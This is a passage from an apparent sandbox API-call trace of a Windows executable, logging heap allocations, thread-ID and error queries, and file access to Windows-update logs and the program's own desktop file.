(lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0112.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0112.705] GetCurrentThreadId () returned 0x9b0 [0112.705] GetLastError () returned 0x12 [0112.705] GetLastError () returned 0x12 [0112.706] GetLastError () returned 0x12 [0112.706] GetLastError () returned 0x12 [0112.706] GetFullPathNameA (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x9bada4*="downlevel_2017_09_07_02_02_39_766.log") returned 0x39 [0112.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0112.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0112.706] GetCurrentThreadId () returned 0x9b0 [0112.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0112.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5e8 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0112.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0112.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetCurrentThreadId () returned 0x9b0 [0112.707] GetLastError () returned 0x12 [0112.707] GetLastError () returned 0x12 [0112.708] GetLastError () returned 0x12 [0112.708] GetLastError () returned 0x12 [0112.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5f8 [0112.708] GetLastError () returned 0x12 [0112.708] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba860, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0112.708] GetFileType (hFile=0x39c) returned 0x1 [0112.708] GetLastError () returned 0x0 [0112.708] GetCurrentThreadId () returned 0x9b0 [0112.708] GetLastError () returned 0x0 [0112.708] GetFileType (hFile=0x39c) returned 0x1 [0112.709] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9ba8dc | out: lpFileInformation=0x9ba8dc) returned 1 [0112.709] FileTimeToLocalFileTime (in: lpFileTime=0x9ba8f0, lpLocalFileTime=0x9ba920 | out: lpLocalFileTime=0x9ba920) returned 1 [0112.709] FileTimeToSystemTime (in: lpFileTime=0x9ba920, lpSystemTime=0x9ba910 | out: lpSystemTime=0x9ba910) returned 1 [0112.709] FileTimeToLocalFileTime (in: lpFileTime=0x9ba8e8, lpLocalFileTime=0x9ba920 | out: lpLocalFileTime=0x9ba920) returned 1 [0112.709] FileTimeToSystemTime (in: lpFileTime=0x9ba920, lpSystemTime=0x9ba910 | out: lpSystemTime=0x9ba910) returned 1 [0112.709] FileTimeToLocalFileTime (in: lpFileTime=0x9ba8e0, lpLocalFileTime=0x9ba920 | out: lpLocalFileTime=0x9ba920) returned 1 [0112.709] FileTimeToSystemTime (in: lpFileTime=0x9ba920, lpSystemTime=0x9ba910 | out: lpSystemTime=0x9ba910) returned 1 [0112.709] GetLastError () returned 0x0 [0112.709] GetCurrentThreadId () returned 0x9b0 [0112.709] GetLastError () returned 0x0 [0112.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0112.709] GetLastError () returned 0x0 [0112.710] GetLastError () returned 0x0 [0112.710] GetCurrentThreadId () returned 0x9b0 [0112.710] GetLastError () returned 0x0 [0112.710] GetCurrentThreadId () returned 0x9b0 [0112.710] GetCurrentThreadId () returned 0x9b0 [0112.710] GetLastError () returned 0x0 [0112.710] GetLastError () returned 0x0 [0112.710] GetCurrentThreadId () returned 0x9b0 [0112.710] GetLastError () returned 0x0 [0112.710] GetCurrentThreadId () returned 0x9b0 [0112.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x305) returned 0x33f3a78 [0112.710] GetLastError () returned 0x0 [0112.711] GetLastError () returned 0x0 [0112.711] GetCurrentThreadId () returned 0x9b0 [0112.711] GetLastError () returned 0x0 [0112.712] GetCurrentThreadId () returned 0x9b0 [0112.712] GetLastError () returned 0x0 [0112.712] GetLastError () returned 0x0 [0112.712] GetCurrentThreadId () returned 0x9b0 [0112.712] GetLastError () returned 0x0 [0112.712] CloseHandle (hObject=0x39c) returned 1 [0112.712] GetCurrentThreadId () returned 0x9b0 [0112.712] GetCurrentThreadId () returned 0x9b0 [0112.712] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38273e0, Size=0x713) returned 0x38273e0 [0112.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0112.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812a0, Size=0x20) returned 0x3028558 [0112.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x3887650 [0112.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887650, Size=0x64) returned 0x2a19578 [0112.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac03b8 [0112.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac03b8 | out: hHeap=0x2ad0000) returned 1 [0112.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0112.713] GetCurrentThreadId () returned 0x9b0 [0112.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de578 [0112.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a57f8 [0112.714] GetCurrentThreadId () returned 0x9b0 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0112.714] GetCurrentThreadId () returned 0x9b0 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a60 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0112.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.714] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de4a8, Size=0x14) returned 0x3183b80 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0112.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5f8 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183be0 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881168 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0112.715] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de4a8, Size=0x14) returned 0x3183aa0 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0112.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881018 [0112.715] GetCurrentThreadId () returned 0x9b0 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5a8 | out: hHeap=0x2ad0000) returned 1 [0112.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea018 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea5e8 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabb8 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0112.716] GetCurrentThreadId () returned 0x9b0 [0112.716] GetCurrentThreadId () returned 0x9b0 [0112.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0112.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5b08 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0112.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0112.717] GetCurrentThreadId () returned 0x9b0 [0112.717] GetCurrentThreadId () returned 0x9b0 [0112.718] GetCurrentThreadId () returned 0x9b0 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0112.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0112.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x33f3a78 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0112.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0112.718] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262db0, Size=0x1) returned 0x33de528 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0112.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0112.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0112.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0112.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0112.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0112.719] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0112.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0112.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0112.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0112.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0112.721] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812e8, Size=0x20) returned 0x30282d8 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0112.721] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x38875c0 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0112.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x15c) returned 0x382e230 [0112.722] GetCurrentThreadId () returned 0x9b0 [0112.722] GetCurrentThreadId () returned 0x9b0 [0112.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0112.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382e230 | out: hHeap=0x2ad0000) returned 1 [0112.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0112.722] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x3028260 [0112.722] GetCurrentThreadId () returned 0x9b0 [0112.722] GetCurrentThreadId () returned 0x9b0 [0112.722] GetCurrentThreadId () returned 0x9b0 [0112.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82838 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c826a0 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82880 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c824f0 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82568 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c824c0 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82430 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82370 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82418 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82388 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82400 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82358 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82508 | out: hHeap=0x2ad0000) returned 1 [0112.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82538 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82340 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82580 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b20 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82520 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c823e8 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c825c8 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82490 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82478 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c824d8 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c823d0 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c824a8 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82310 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82328 | out: hHeap=0x2ad0000) returned 1 [0112.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c825b0 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c825e0 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c823b8 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82598 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c823a0 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82550 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6758 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82640 | out: hHeap=0x2ad0000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810a8 [0112.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0112.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35aee50 | out: hHeap=0x2ad0000) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.726] GetCurrentThreadId () returned 0x9b0 [0112.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0112.726] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361d9e0, Size=0x941) returned 0x33db5a8 [0112.726] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33db5a8, Size=0xf9a) returned 0x33ea018 [0112.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea018 | out: hHeap=0x2ad0000) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0112.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0112.726] GetCurrentThreadId () returned 0x9b0 [0112.726] GetCurrentThreadId () returned 0x9b0 [0112.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0112.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0112.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4a8 [0112.727] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x10) returned 0x38810d8 [0112.727] GetCurrentThreadId () returned 0x9b0 [0112.727] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810a8, Size=0x10) returned 0x38811e0 [0112.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4f8 [0112.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0112.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4b8 [0112.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0112.727] GetCurrentThreadId () returned 0x9b0 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38812b8 [0112.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0112.728] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810d8, Size=0x10) returned 0x3881240 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810d8 [0112.728] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811e0, Size=0x10) returned 0x38810f0 [0112.728] GetCurrentThreadId () returned 0x9b0 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0112.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0112.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0112.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0112.728] HeapFree 